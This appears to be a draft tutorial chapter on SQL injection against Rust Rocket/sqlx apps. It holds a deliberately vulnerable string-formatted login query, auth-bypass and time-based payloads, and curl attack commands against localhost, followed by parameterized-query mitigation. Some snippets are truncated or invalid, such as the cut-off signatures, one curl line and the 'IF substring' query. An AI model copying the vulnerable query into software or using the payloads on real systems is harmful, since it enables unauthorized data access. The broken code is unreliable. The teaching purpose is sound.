Chapter 6: SQL Injection in Rust

Introduction

In the complex landscape of real-world **web applications**, a fundamental aspect involves the storage and retrieval of data from **databases**. The orchestration of this data exchange requires the construction of **SQL (Structured Query Language)** statements by web applications. These statements are subsequently dispatched to the associated database, where they are executed, and the outcomes are then relayed back to the web application. The crux of the matter lies in the fact that SQL statements frequently encapsulate user-provided data. If the construction of these statements is not carefully handled, a vulnerability emerges, enabling an exploit known as **SQL Injection**.

SQL Injection stands as one of the most common and evil blunders within the world of web applications. SQL Injection attack involves the careful injection of malicious code into the SQL statement, thereby manipulating the behavior of the database to execute unintended commands. This tricky manipulation of the SQL query can lead to **unauthorized access**, **data exfiltration**, or even the manipulation of **sensitive information** within the database.

A comprehensive understanding of how SQL injection attacks operate is important for both developers and security practitioners. By the end of this chapter, you will gain insights into the potential entry points exploited by malicious actors seeking to compromise the security of web applications. In particular, we'll dive into attacking **Rocket** web apps, showing you how vulnerabilities play out in the real world. This hands-on experience is key for understanding how these attacks work, making you more savvy about keeping your apps safe.

1. SQL Injection Overview

The process begins with the generation of a SQL statement by the web application. This statement is typically constructed with user input data, a crucial point of vulnerability. When developers fail to implement adequate safeguards, attackers can exploit this weakness by injecting malicious SQL code directly into the input fields of the web application. The malicious payload becomes seamlessly integrated into the SQL statement, essentially working on the legitimate data provided by users.

To illustrate, consider a scenario where a web application accepts user credentials for authentication. The SQL statement responsible for verifying these credentials might look something like this:

```sql
SELECT * FROM users WHERE username = 'username' AND password = 'password';
```

In this example, the **username** and **password** are variables representing user-provided data. However, if the web application fails to properly validate and sanitize these inputs, an attacker could input the following credentials:

```
' OR '1'='1'; --
```

The manipulated SQL statement now becomes:

```sql
SELECT * FROM users WHERE username = '' OR '1'='1'; --' AND password = 'password';
```

Due to the injected code, the condition ‘1’=‘1’ always evaluates to true, essentially bypassing the authentication process and granting unauthorized access to the system.

To secure web applications against SQL Injection attacks, you must adopt a multi-step approach. Implementing **parameterized queries**, **input validation**, and utilizing **prepared statements** are pivotal defensive measures. Parameterized queries ensure that user-input data is treated as data rather than executable code, preventing any attempts at code injection. Input validation involves evaluating user inputs to ensure they adhere to expected formats, mitigating the risk of malformed data causing vulnerabilities. Prepared statements offer an additional layer of defense by separating SQL code from user-provided data.

2. Gathering User Input

Understanding how users interact with web applications is key to building effective and secure systems. As illustrated in the following diagram, web browsers serve as the gateway for users to input information, subsequently communicating with the web application server through HTTP requests. These requests carry user inputs, and the method of attachment varies based on whether it’s a GET or POST request.

```
+----------------------+              +--------------------------+
|   User Form Input    |              |                          |
|   Web Browser        |              |        Web Server        |
|                      |              |                          |
+----------+-----------+              +--------------+-----------+
           |                                         |
           |       HTTP Request (GET or POST)        |
           +---------------------------------------->|
           |                                         |
           |                                         |
           |                                         V
           |                           +-------------+----------+
           |                           |                        |
           |                           |    Process User Input  |
           |                           |    and Construct HTTP  |
           |                           |    Request             |
           |                           |                        |
           |                           +-------------+----------+
           |                                         |
           |                                         |
           |            HTTP Response                |
           <-----------------------------------------+
```

Consider a scenario where a web page contains a simple form. This form consists of input fields for the user's username and password. When users type in their information and click the Submit button, an HTTP request is triggered, encapsulating the entered data. The HTML snippet below exemplifies the form structure:

```html
<form method="get">
  <div>Username: <input type="text" name="username" /></div>
  <div>Password: <input type="text" name="password" /></div>
  <button type="submit">Submit</button>
</form>
```

Upon submission, the generated HTTP request URL might look like:

`http://127.0.0.1:8000/login?username=user&password=paswd`

Here, it's important to note that in the above example, the use of the HTTP protocol is for simplicity, and in a secure environment, HTTPS would be the preferred choice.

When this request reaches the designated endpoint in the Rocket web framework (e.g., /login), the parameters are extracted from the request object. The corresponding Rust handler code could be as follows:

```rust
#[post("/login", data = "<user_data>")]
async fn login(mut conn: Connection<DbConn>, user_data: Form<UserData>) -> Result<String, St
    let username = &user_data.username;
    let password = &user_data.password;
}
```

3. Fetching Data From the Database

Web applications often need to interact with databases to retrieve or store information. In the given scenario, when a user provides their usrname and password via the form, the objective is to fetch additional data from the database if the correct password is provided.

The user data is stored in an SQLite database, and the code snippet below demonstrates connecting to the database using the `sqlx` crate through **`rocket_db_pools`** and executing a query:

```rust
#[macro_use]
extern crate rocket;
use rocket::Error;

use rocket::form::Form;
use rocket_db_pools::sqlx::{self, Row};
use rocket_db_pools::{Connection, Database};

#[derive(Database)]
#[database("sqlite_db")]
struct DbConn(sqlx::SqlitePool);

#[derive(Debug, FromForm)]
struct UserData {
    username: String,
    password: String,
}

#[post("/login", data = "<user_data>")]
async fn login(mut conn: Connection<DbConn>, user_data: Form<UserData>) -> Result<String, St
    let username = &user_data.username;
    let password = &user_data.password;

    let query_result = sqlx::query(&format!(
        "SELECT * FROM users WHERE username = '{}' AND password = '{}'",
        username, password
    ))
    .fetch_one(&mut **conn)
    .await
    .and_then(|r| {
        let username: Result<String, _> = Ok::<String, Error>(r.get::<String, _>(0));
        let password: Result<String, _> = Ok::<String, Error>(r.get::<String, _>(1));
        Ok((username, password))
    })
    .ok();

    match query_result {
        Some((username, password)) => Ok(format!(
            "username: {}, password: {}",
            username.unwrap(),
            password.unwrap()
        )),
        None => Err("User not found".into()),
    }
}
```

This code snippet showcases the connection to an SQLite database using `sqlx`, construction of a SQL query based on user input, execution of the query, and processing of the results. It's crucial to emphasize the need to secure this endpoint, as user input becomes part of the SQL query executed by the database, underlining the importance of preventing SQL Injection vulnerabilities.

4. SQL Injection Exploitation

To comprehend the vulnerabilities associated with SQL injection attacks, let's simplify the complex interactions between the browser, web application, and database. Imagine the web application creating an SQL statement template, leaving a blank space for the user to input data. Whatever the user provides in this space becomes an integral part of the SQL statement. The critical question is whether a user can manipulate the SQL statement's meaning.

```sql
SELECT *
FROM users
WHERE username=' ' AND password=' '
```

The developer's intention is for users to fill in the blanks with data. However, consider the scenario where a user inputs special characters. For instance, if a user types the random string `'pass'` in the password entry and `user' --` in the username field, the SQL statement becomes:

```sql
SELECT *
FROM users
WHERE username= 'user' -- AND password= 'pass'
```

As everything from the `--` characters to the end of the line is treated as a comment, the SQL statement is now equivalent to:

```sql
SELECT *
FROM users
WHERE username= 'user'
```

By cleverly using special characters like single quotes (') and two dashes (`--`), the meaning of the SQL statement has been successfully altered. The resulting query would retrieve the all info of the user with 'user' username, even if the user is unaware of **user**'s password. This constitutes a significant security breach.

Taking this a step further, let's explore the possibility of extracting all records from the database. Assuming we don't know all the usernames, we need to create a predicate for the WHERE clause that is always true for all records. Since '1=1' is always true, inputting `admin' OR 1=1` – in the username form entry results in the following SQL statement:

```sql
SELECT *
FROM users
WHERE username= 'admin' OR 1=1
```

This SQL statement, when executed, retrieves all records from the database.

4.1 Blind SQL Injection In the database security domain, **blind SQL injection** poses a daunting challenge. This phenomenon occurs when attackers interact with databases without immediate access to the outcomes of their actions, a scenario often encountered in the absence of record outputs.

An illustrative instance of blind SQL injection lies in the **authentication** bypass, although its scope extends beyond such scenarios. The technique involves an **inference attack**, in which attackers, lacking direct visibility into the database responses, strategically attempt to leak information through logical assumptions derived from web responses.

A key tactic employed in blind SQL injection is the introduction of an arbitrary time delay in the query submission. This strategic delay serves as an initiation test for an application's vulnerability to SQL injection. By inspecting the application's response time, an attacker can recognise potential vulnerabilities.

```
        +-----------------+
        |    Introduce    |
        |    Time Delay   |
        +--------+--------+
                 |
                 v
        +-----------------+
        | Check App for   |
        | Vulnerability   |
        +--------+--------+
                 |
                 v
        +-----------------+
        | Assess with     |
        | Boolean Checks  |
        +--------+--------+
                 |
                 v
        +-----------------+
        | Use Time-Based  |
        | SQL Injection   |
        +--------+--------+
                 |
                 v
        +-----------------+
        | Analyze App     |
        | Delayed Response|
        +--------+--------+
                 |
                 v
        +-----------------+
        | Combine Time &  |
        | Boolean Tactics |
        +--------+--------+
                 |
                 v
        +-----------------+
        | Inject More     |
        | Queries if Able |
        +--------+--------+
                 |
                 v
        +-----------------+
        | Exploit         |
        | Vulnerabilities |
        +-----------------+
```

Further complexities come from boolean-based blind injection, where attackers manipulate statements that could be true or false. By observing variations in the application's responses to injected statements, attackers can deduce the presence of vulnerabilities and subsequently manipulate the database.

Time-based SQL injection introduces an additional layer of sophistication. In instances where true and false results lack detectable differences, attackers leverage functions such as `sqlite3_sleep` to artificially delay query execution. This method introduces a temporal element, where, for example, the application may pause for a specified duration before responding.

Databases have different functionalities in this context. SQLITE does not have a native `SLEEP` function like some other database management systems (e.g. MYSQL). However, you can achieve a similar delay using a combination of the `SELECT` statement and the `sqlite3_sleep` extension function. Let's create a sleep-like delay in SQLite:

```sql
SELECT sqlite3_sleep(3000);
```

In this example, `sqlite3_sleep(3000)` pauses the execution for 3000 milliseconds, which is equivalent to 3 seconds. The combination of time delays and Boolean queries becomes a powerful strategy, where an attacker may construct queries like:

```sql
SELECT IF substring(field,1,1)='val' sqlite3_sleep(3000);
```

relying on the delay gap in responses as a critical signal. An additional tactic, known as **splitting and balancing**, involves crafting functionally identical queries that appear different. This technique allows attackers to inject additional queries while maintaining the integrity of parentheses and quotes, thereby generating legitimate SQL queries. Imagine a scenario where an attacker seeks to manipulate a database through the following safe-looking query:

```
SELECT username FROM users WHERE id = 1
```

Now, the attacker wants to inject additional queries carefully while ensuring the overall query remains syntactically valid. The following is an example of how they might utilize the **splitting and balancing** technique:

```
-- Original Query
SELECT username FROM users WHERE id = 1

-- Functionally Identical Query (Different Appearance)
SELECT username FROM users WHERE id = 2-1
```

In this example, the second query appears different due to the arithmetic operation (2-1), but it is functionally identical to the original query. The attacker has injected their manipulation by maintaining the balance of parentheses and quotes. This ensures that the injected query, though seemingly different, aligns with the expected SQL syntax, thereby allowing the attacker to introduce additional queries without triggering syntax errors.

Now, the magic happens when the attacker exploits this technique to introduce more complexity:

```
-- Original Query
SELECT username FROM users WHERE id = 1

-- Functionally Identical Query with a Nested Sub-Query (Disguised)
SELECT username FROM users WHERE id = 1 + (SELECT password FROM users WHERE user_id = 1)
```

Here, the appearance of the query hides the true nature of the injected query. The attacker can now insert nested sub-queries between parentheses, orchestrating a series of operations while keeping the obvious appearance consistent with legitimate SQL syntax.

5. SQL Injection Through cURL

In the previous section, we have explored sql injection using forms. However, it's often more convenient to utilize a command-line tool for automation. **cURL** is a widely-known command-line utility for sending data over various network protocols, including HTTP and HTTPS. Using cURL, we can send a form from the command line rather than a web page. Consider the following example:

```
$ curl -X POST \
       -H "Content-Type: application/x-www-form-urlencoded" \
       -d "username=admin' OR '1'='1' --&password=your_password" \
       http://127.0.0.1:8000/login
```

This command successfully retrieves records from the database, illustrating the potential impact of SQL injection attacks when exploiting vulnerabilities in user input handling.

```
+----------------------+                 +------------------------+
|                      |                 |                        |
|     User (cURL)      |                 |   Web Server (Rocket)  |
|                      |                 |                        |
+----------------------+                 +------------------------+
           |                                          |
           |                                          |
           V                                          |
+----------------------+                              |
|                      |                              |
|        Input         |                              |
|                      |                              |
+----------------------+                              |
           |                                          |
           |                             +-------------------------+
           |                             |   Handling User Input   |
           |                             |   and Constructing SQL  |
           +---------------------------->|     Statement           |
                                         |                         |
                                         +-------------------------+
                                                      |
                                                      V
                                          +------------------------+
                                          |     SQL Statement      |
                                          |     with Malicious     |
                                          |     User Input         |
                                          +------------------------+
                                                      |
                                                      V
                                          +------------------------+
                                          |   Authentication Check |
                                          |   and User Validation  |
                                          +------------------------+
                                                      |
+------------------------+                            |
|       Response         |                            |
|     (All Records)      |<---------------------------+
+------------------------+
```

5.1 Blind Based cURL SQL Injection As you learned from the previous sections, in SQLite, time-based SQL injection can be trickier because SQLite does not have a built-in `SLEEP` function like other database management systems. However, you can leverage certain functions or tasks that take time to execute. Here's an example using SQLite:

```
$ curl -X POST \
     -H "Content-Type: application/x-www-form-urlencoded" \
     --data-urlencode "username=admin' AND SELECT sqlite3_sleep(3000) --" \
     --data-urlencode "password=pass" \
     http://127.0.0.1:8000/login
```

In this example, the payload includes a subquery using `sqlite3_sleep(3000)` within a `CASE` statement. If the condition `(1=1)` is true, it will execute the sleep function, causing a delay. If false, it performs `0`. The `--` at the end is used to comment out the remainder of the query.

Now, let's consider a basic example of using cURL for a time-based SQL injection with the splitting and balancing technique:

```
$ curl -X POST \
     -H "Content-Type: application/x-www-form-urlencoded" \
     --data-urlencode "username=admin' AND (SELECT 1 FROM users WHERE username = 'admin') =
     --data-urlencode "password=pass" \
     http://127.0.0.1:8000/login
```

In this example, the payload attempts to check if the username is `'admin'`. If it is, the condition `(SELECT 1 FROM users WHERE username = 'admin') = 1` becomes true, and the authentication should proceed. If not, it becomes false.

```rust
use std::process::{Command, Output, Stdio};

// A helper function to execute a shell command from a Rust script
fn execute_command(command: &str) -> Result<(), std::io::Error> {
    let status = Command::new("bash")
        .arg("-c")
        .arg(command)
        .stderr(Stdio::inherit())
        .status()?;

    if status.success() {
        Ok(())
    } else {
        Err(std::io::Error::from_raw_os_error(status.code().unwrap_or(1)))
    }
}
```

```rust
let command = "cd sql-injection && cargo run";

if let Err(err) = execute_command(command) {
    eprintln!("Error executing command: {}", err);
}
```

```
// In a separate terminal, execute the following cURL command:

// curl -X POST \
//        -H "Content-Type: application/x-www-form-urlencoded" \
//        -d "username=admin' OR '1'='1' --&password=your_password" \
//        http://127.0.0.1:8000/login

// You will get the username and password for the first user in the database:
// username: mahmoud, password: pass
```

```
    Finished dev [unoptimized + debuginfo] target(s) in 0.13s
     Running `target/debug/sql-injection`


Configured for debug.
   >> address: 127.0.0.1
   >> port: 8000
   >> workers: 8
   >> max blocking threads: 512
   >> ident: Rocket
   >> IP header: X-Real-IP
   >> limits: bytes = 8KiB, data-form = 2MiB, file = 1MiB, form = 32KiB, json = 1MiB, msgpac
   >> temp dir: /tmp
   >> http/2: true
   >> keep-alive: 5s
   >> tls: disabled
   >> shutdown: ctrlc = true, force = true, signals = [SIGTERM], grace = 2s, mercy = 3s
   >> log level: normal
   >> cli colors: true
Routes:
   >> (login) POST /login
   >> (register) POST /register
Fairings:
   >> 'sqlite_db' Database Pool (ignite, shutdown)
   >> Shield (liftoff, response, singleton)
Shield:
   >> X-Content-Type-Options: nosniff
   >> X-Frame-Options: SAMEORIGIN
   >> Permissions-Policy: interest-cohort=()
Rocket has launched from http://127.0.0.1:8000
POST /login application/x-www-form-urlencoded:
   >> Matched: (login) POST /login
   >> Outcome: Success(200 OK)
   >> Response succeeded.
POST /login application/x-www-form-urlencoded:
```

```
>> Matched: (login) POST /login
>> Outcome: Success(200 OK)
>> Response succeeded.
```

6. SQL Injection Mitigation

To mitigate SQL injection vulnerabilities, it's highly recommended to use parameterized queries or **prepared statements** provided by the SQL library you are using (in this case, `sqlx`). Parameterized queries ensure that user inputs are treated as data rather than executable code, thus preventing SQL injection attacks. Let's explore the following example of how you might use parameterized queries with `sqlx`:

```
let query_result = sqlx::query(
    "SELECT * FROM users WHERE username = ? AND password = ?",
)
.bind(username)
.bind(password);
```

This way, the SQL library will handle the proper escaping and quoting of user inputs, making it resistant to SQL injection attacks. Always prioritize using parameterized queries or prepared statements to enhance the security of your application.

Having explored SQL injection within the context of the SQLite database, you may wonder whether this vulnerability extends to NoSQL databases. Contrary to the implications of the nomenclature, a subsequent exploration of NoSQL databases reveals a nuanced landscape, challenging the idea of straightforwardly refuting the assumption.

TODO: 7. SQL Injection In NoSQL Databases (MongoDB?)

8. Conclusion

In conclusion, the danger of SQL Injection takes large shape over web applications, demanding a proactive and careful approach to security. By understanding the mechanics of SQL injection attacks and implementing robust defensive strategies, you can safeguard your applications from the bad exploits that threaten the integrity of databases and the confidentiality of sensitive information.